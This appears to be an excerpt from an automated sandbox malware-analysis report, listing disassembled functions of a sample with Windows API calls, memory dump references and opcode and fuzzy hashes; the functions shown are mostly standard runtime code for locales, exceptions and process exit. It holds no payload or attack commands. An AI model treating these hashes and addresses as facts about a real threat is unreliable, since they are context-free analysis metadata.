Associated: 00000000.00000002.2126127801.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126146391.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126179012.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126194274.000000000045A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126208022.000000000045B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: __freea$AllocHeap
String ID:
API String ID: 85559729-0
Opcode ID: 5ab63b7794770502699cc186fc6c28c6e66a8647c51c587db72d7cf13b422fb1
Instruction ID: 2052103fe97465cd75cf22f44d0cd4d640416e50bd77a314259edcc222a703d8
Opcode Fuzzy Hash: 5ab63b7794770502699cc186fc6c28c6e66a8647c51c587db72d7cf13b422fb1
Instruction Fuzzy Hash: FE51B57260111EAFEF1A9F65CC82EBB76A9EF54754B160529FE04DA291EF31CC1086A0

Function 003F0C0A Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,003F0C04,00000000,?,?,`?,29FB914E,?,003F0D60), ref: 003F0C1B
TerminateProcess.KERNEL32(00000000,?,003F0C04,00000000,?,?,`?,29FB914E,?,003F0D60), ref: 003F0C22
ExitProcess.KERNEL32 ref: 003F0C34

Memory Dump Source

Source File: 00000000.00000002.2126094254.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2126069903.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126127801.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126146391.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126179012.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126194274.000000000045A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126208022.000000000045B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: aa9d842b230d96c1fbc468beaf0f36c1b8ec476261964555d7d5fdbf3caee76d
Instruction ID: c77bae33395c6b98d3c500a18a6c08eab496cdb06e54833eb8c12a67659068f6
Opcode Fuzzy Hash: aa9d842b230d96c1fbc468beaf0f36c1b8ec476261964555d7d5fdbf3caee76d
Instruction Fuzzy Hash: 93D09E3100020CBFCF063F65DF0D9593F6AEF44381B514120BB096D072DB759995DA94

Function 003FA0F8 Relevance: 3.2, APIs: 2, Instructions: 177
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 003F9C26: GetOEMCP.KERNEL32(00000000,?,?,?,?), ref: 003F9C51

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,?,?,?,?,003F9F3D,?,00000000,?,?,?), ref: 003FA159
GetCPInfo.KERNEL32(00000000,?,?,?,?,?,?,?,?,003F9F3D,?,00000000,?,?,?), ref: 003FA19B

Memory Dump Source

Source File: 00000000.00000002.2126094254.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2126069903.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126127801.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126146391.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126179012.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126194274.000000000045A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126208022.000000000045B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: 91862fb8d41476452ac8913c99e2dba70a655be41d5d4fdafaf799aa76bf6efa
Instruction ID: 839d919a123a88b55d67fd62ad1a1e02351a3b67e90e864234490dadef1f6284
Opcode Fuzzy Hash: 91862fb8d41476452ac8913c99e2dba70a655be41d5d4fdafaf799aa76bf6efa
Instruction Fuzzy Hash: 8A519AB1A00B4CAEDB22DF75C8806BBBBF4FF44300F15852ED28A8B241E7759945CB51

Function 003F60B6 Relevance: 3.0, APIs: 2, Instructions: 34
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LCMapStringEx.KERNELBASE(?,003F8C6A,?,?,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 003F60EA
LCMapStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,?,?,003F8C6A,?,?,00000000,?,00000000), ref: 003F6108

Memory Dump Source

Source File: 00000000.00000002.2126094254.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2126069903.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126127801.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126146391.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126179012.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126194274.000000000045A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126208022.000000000045B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: String
String ID:
API String ID: 2568140703-0
Opcode ID: 48a9a135ae006feed100e230083731ee038a4e75a4a6b14e47581738a2f45cda
Instruction ID: c1fecf0d15d758e1902f57ea7183e90ed95fda1018921fec14aa4a5b3990a00a
Opcode Fuzzy Hash: 48a9a135ae006feed100e230083731ee038a4e75a4a6b14e47581738a2f45cda
Instruction Fuzzy Hash: F9F0683200061EBBCF135F91DE069EE3E26AB48760F058010BB1869061CA76C971AB90

Function 003F9CFA Relevance: 1.6, APIs: 1, Instructions: 147
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCPInfo.KERNEL32(E8458D00,?,003F9F49,003F9F3D,00000000), ref: 003F9D2C

Memory Dump Source

Source File: 00000000.00000002.2126094254.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2126069903.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126127801.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126146391.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126179012.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126194274.000000000045A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126208022.000000000045B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: Info
String ID:
API String ID: 1807457897-0
Opcode ID: 74933cf54b4867be84770c6e76e4d36749fd001c070bbc60f55404d56380a80c
Instruction ID: dd8ea3c4eebdf91c860b1d0e59b129490f5c3777ba420f7149005a59e1e79567
Opcode Fuzzy Hash: 74933cf54b4867be84770c6e76e4d36749fd001c070bbc60f55404d56380a80c
Instruction Fuzzy Hash: A951477190825C9ADB23CF28CD80BF67BACEB65304F2405EAE29AC7182D2719D45DF20

Function 003F5D63 Relevance: 1.6, APIs: 1, Instructions: 57
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2126094254.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2126069903.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126127801.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126146391.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126179012.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126194274.000000000045A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126208022.000000000045B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74544e378f0af0f74cbc55663825f384cd65ce227f02f67dbb033066b6227fed
Instruction ID: b0b98daea00ab7771f625edfaf89669bd678a588ecbcf737aee17f7fa64173df
Opcode Fuzzy Hash: 74544e378f0af0f74cbc55663825f384cd65ce227f02f67dbb033066b6227fed
Instruction Fuzzy Hash: B501F5373416199BDB178FADEC48A6B379AABC13203254221FB01EB195DA34C801C750

Non-executed Functions

Function 003FC73B Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 003F4C01: GetLastError.KERNEL32(?,00000008,003F91D2), ref: 003F4C05
Part of subcall function 003F4C01: SetLastError.KERNEL32(00000000,0040B440,00000024,003F0169), ref: 003F4CA7

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 003FC847
IsValidCodePage.KERNEL32(00000000), ref: 003FC890
IsValidLocale.KERNEL32(?,00000001), ref: 003FC89F
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 003FC8E7
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 003FC906

Strings

\l@, xrefs: 003FC7A0

Memory Dump Source

Source File: 00000000.00000002.2126094254.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2126069903.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126127801.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126146391.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126179012.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126194274.000000000045A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126208022.000000000045B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID: \l@
API String ID: 415426439-628321277
Opcode ID: 69bfb527d25dffc9704041d3d026c5088cf759538b619f86863b311414984772
Instruction ID: 82ddf67c402f00fd8ac46436c77c0bc8927232bdb21a2b2ecc5d343926273f85
Opcode Fuzzy Hash: 69bfb527d25dffc9704041d3d026c5088cf759538b619f86863b311414984772
Instruction Fuzzy Hash: CE51A171A5020DAFEB12DFA5CE45ABE73B8FF04740F155429EB05EB191EBB09904CBA0

Function 003FD0ED Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1436COMMONLIBRARYCODE

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 003FD2D1

Strings

1#IND, xrefs: 003FD1F2
1#INF, xrefs: 003FD223
1#QNAN, xrefs: 003FD200
1#SNAN, xrefs: 003FD1F9

Memory Dump Source

Source File: 00000000.00000002.2126094254.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2126069903.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126127801.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126146391.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126179012.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126194274.000000000045A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126208022.000000000045B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: e7b562da31502c939fe25d2dd1b808062aea7b7b9015d04ad8ac6a54e027f56a
Instruction ID: bd86909c4a2632b3c0dbc2c9b1f6ce6f4e3f3c5046ece2b33df0a1a22bab665c
Opcode Fuzzy Hash: e7b562da31502c939fe25d2dd1b808062aea7b7b9015d04ad8ac6a54e027f56a
Instruction Fuzzy Hash: 82D23B71E0822D8FDB66CE28DD447EAB7BAEB44304F1545EAD50DE7240E778AE858F40

Function 003FBDD7 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 003F4C01: GetLastError.KERNEL32(?,00000008,003F91D2), ref: 003F4C05
Part of subcall function 003F4C01: SetLastError.KERNEL32(00000000,0040B440,00000024,003F0169), ref: 003F4CA7

GetACP.KERNEL32(?,?,?,?,?,?,003F1598,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 003FBE98
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,003F1598,?,?,?,00000055,?,-00000050,?,?), ref: 003FBEC3
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 003FC026

Strings

utf8, xrefs: 003FBF95
\l@, xrefs: 003FBE19

Memory Dump Source

Source File: 00000000.00000002.2126094254.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2126069903.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126127801.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126146391.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126179012.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126194274.000000000045A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126208022.000000000045B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: ErrorLast$CodeInfoLocalePageValid
String ID: \l@$utf8
API String ID: 607553120-68712516
Opcode ID: 4e6bf801917a69a05f21e136a4bd84229b72c40f20a848220cc1eba7655390ca
Instruction ID: ea828e30e17822b815336db5f46b750cc154763021c3979d30b50ad930b678d8
Opcode Fuzzy Hash: 4e6bf801917a69a05f21e136a4bd84229b72c40f20a848220cc1eba7655390ca
Instruction Fuzzy Hash: C971F4B160030EAAD726AB35DD46BB6F3ACEF54700F15442AFB15DB181EB74E940C7A0

Function 003FC566 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,003FC884,00000002,00000000,?,?,?,003FC884,?,00000000), ref: 003FC5FF
GetLocaleInfoW.KERNEL32(?,20001004,003FC884,00000002,00000000,?,?,?,003FC884,?,00000000), ref: 003FC628
GetACP.KERNEL32(?,?,003FC884,?,00000000), ref: 003FC63D

Strings

OCP, xrefs: 003FC5BA
ACP, xrefs: 003FC584

Memory Dump Source

Source File: 00000000.00000002.2126094254.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2126069903.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126127801.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126146391.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126179012.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126194274.000000000045A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126208022.000000000045B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 13adefa5da2bc00d0958cea9632eb2b7158e4677040f1376c3ee0d1f7d43c7b6
Instruction ID: baf3d768e316deab67da311326c0d922a06d2ee734edc188aae3df74da8cd5ad
Opcode Fuzzy Hash: 13adefa5da2bc00d0958cea9632eb2b7158e4677040f1376c3ee0d1f7d43c7b6
Instruction Fuzzy Hash: 0A2108226A410DA6DB328B15CB00AB773A6AB40B54B5BA030E70ED7240F732EE40C344

Function 003F39E2 Relevance: 6.3, APIs: 4, Instructions: 337COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 003F3A6F

Memory Dump Source

Source File: 00000000.00000002.2126094254.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2126069903.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126127801.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126146391.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126179012.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126194274.000000000045A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126208022.000000000045B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 9a92425b85d41a9d34d0b4961e78f920fefde47b9ac17fa4fdf8223bb6267088
Instruction ID: 7c5bf56304313db5e59e945eb5c677477b853f95c2f8fef87b63c3a9b0d03833
Opcode Fuzzy Hash: 9a92425b85d41a9d34d0b4961e78f920fefde47b9ac17fa4fdf8223bb6267088
Instruction Fuzzy Hash: A2B15672A042899FDB16CF68C891BFEBFA5EF55300F15816AEA45BB341D235DE01C7A0

Function 003E7672 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 003E767E
IsDebuggerPresent.KERNEL32 ref: 003E774A
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 003E7763
UnhandledExceptionFilter.KERNEL32(?), ref: 003E776D

Memory Dump Source

Source File: 00000000.00000002.2126094254.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2126069903.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126127801.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126146391.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126179012.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126194274.000000000045A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126208022.000000000045B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 79e7910a43b115b84ad264be209126456af385e4fc3d178e031b51b2584fe876
Instruction ID: 2a1eac72fd6c2ce59504338512b8da6ed5716c741eb7343e118c56e10384f637
Opcode Fuzzy Hash: 79e7910a43b115b84ad264be209126456af385e4fc3d178e031b51b2584fe876
Instruction Fuzzy Hash: F631F675D053299BDB21DFA5D9497CDBBB8AF08300F1041AAE50CAB290EBB09A85CF45

Function 003FC1EA Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 003F4C01: GetLastError.KERNEL32(?,00000008,003F91D2), ref: 003F4C05
Part of subcall function 003F4C01: SetLastError.KERNEL32(00000000,0040B440,00000024,003F0169), ref: 003F4CA7

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 003FC23E
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 003FC288
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 003FC34E

Memory Dump Source

Source File: 00000000.00000002.2126094254.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2126069903.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126127801.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126146391.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126179012.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126194274.000000000045A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126208022.000000000045B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: 9240535c7b6ddc56637843a655622559e928feaf46123da3a7725e62bab6106c
Instruction ID: 41d323d338d92cfba1fa5444e9196645959ea31ae1f567b74c8daf6da8d6a542
Opcode Fuzzy Hash: 9240535c7b6ddc56637843a655622559e928feaf46123da3a7725e62bab6106c
Instruction Fuzzy Hash: F761A3755A020F9FDF279F29CE92BBA73A8EF04340F11907AEA05C6581E738D945DB50

Function 003ED7C3 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 003ED8BB
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 003ED8C5
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 003ED8D2

Memory Dump Source

Source File: 00000000.00000002.2126094254.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2126069903.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126127801.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126146391.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126179012.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126194274.000000000045A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126208022.000000000045B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: b0270203a2a5572a67002f9fe847c266419c5881590f65e65be0b4658d65e502
Instruction ID: f765d846a3c37f2dcab10ff5d84df07b1c95a5315a6934682d15af63902a3bd8
Opcode Fuzzy Hash: b0270203a2a5572a67002f9fe847c266419c5881590f65e65be0b4658d65e502
Instruction Fuzzy Hash: 5531C47491122CABCB21DF65DD8978DBBB8BF18310F5042EAE50CA7291E7709F858F45

Function 003EFC40 Relevance: 3.4, APIs: 2, Instructions: 449COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2126094254.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2126069903.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126127801.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126146391.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126179012.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126194274.000000000045A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126208022.000000000045B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f60d13b086af9ec0a587f738e4390bc211143032b3e107f6518dc9868b69a40
Instruction ID: 6cf8521f7ec548504323480be567bcbde0f2756ab146c5b4aa7b6e79807554bc
Opcode Fuzzy Hash: 3f60d13b086af9ec0a587f738e4390bc211143032b3e107f6518dc9868b69a40
Instruction Fuzzy Hash: 46F15071E002199FDF19CF69C880AAEF7B1FF88314F158269E915AB395D771AD01CB80

Function 003F547C Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,003F5477,?,?,00000008,?,?,00401335,00000000), ref: 003F56A9

Memory Dump Source

Source File: 00000000.00000002.2126094254.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2126069903.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126127801.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126146391.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126179012.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126194274.000000000045A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126208022.000000000045B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: bd5794bf7bdf834228f1812961c35491e62ec066b8875020c32e4c2ee5beaabd
Instruction ID: 88eac43259c01dc9370e419af8b832de41ef5c9b3626a166c6d25fcf81c66c69
Opcode Fuzzy Hash: bd5794bf7bdf834228f1812961c35491e62ec066b8875020c32e4c2ee5beaabd
Instruction Fuzzy Hash: BEB15F31610A08DFD716CF28C48AB657BE1FF45365F268658EADACF2A1C335E991CB40

Function 003E6FEC Relevance: 1.7, APIs: 1, Instructions: 242COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 003E7002

Memory Dump Source

Source File: 00000000.00000002.2126094254.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2126069903.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126127801.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126146391.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126179012.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126194274.000000000045A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126208022.000000000045B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: aab40bec03d1b47bdf3e6c865099847539f37f2526492a666a44872b472dea7d
Instruction ID: 4f372620eb9458af2223786d1ca578f7a24c6d8d6101d7e29eda31f13b95c0ea
Opcode Fuzzy Hash: aab40bec03d1b47bdf3e6c865099847539f37f2526492a666a44872b472dea7d
Instruction Fuzzy Hash: 28A15CB1A05615CBDB19CFA5D9C27ADBBB0FB48314F25873AD619EB3A0D3349840CB94

Function 003F980F Relevance: 1.6, APIs: 1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2126094254.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2126069903.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126127801.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126146391.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126179012.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126194274.000000000045A000.00000004.00000001.01000000.00000003.sdmpDownload File
